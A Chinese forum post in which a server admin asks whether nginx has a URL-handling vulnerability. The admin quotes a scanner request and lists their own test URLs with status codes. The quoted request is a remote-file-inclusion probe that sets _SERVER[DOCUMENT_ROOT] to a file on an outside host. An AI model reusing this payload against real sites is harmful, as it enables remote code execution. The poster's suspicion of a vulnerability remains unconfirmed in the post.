这是不是nginx的一个URL处理漏洞?

发现有人这样扫我服务器:
http://site.com////////?_SERVER[DOCUMENT_ROOT]=http://phamsight.com/docs/images/head??
而我服务器竟然错误地给出了200 OK,显然这是个漏洞利用木马,因为我没开php所以暂时没事,但我测试了下:
http://site.com///////////                        200 OK
http://site.com///////////?fffffffffwwwwww        200 OK
http://site.com/?fffffffffwwwwww        200 OK
http://site.com///////////fffffffffwwwwww        404 Not Found
http://site.com/fffffffffwwwwww                404 Not Found
以上200 OK实际都是不存在的,我平台为centos 5.5 + nginx 0.765, 哪位知道毛病出在哪?漏洞还是我配置的有问题?

我上面所说的site.com是我网站的代称,但实际上真正的site.com也是存在的,而且我扫了一下这个站,结果竟然和我站的扫面结果完全一样!!!晕了
而他的环境是Windows Server 2003  + Microsoft-IIS/6.0
各位不妨也扫下自己的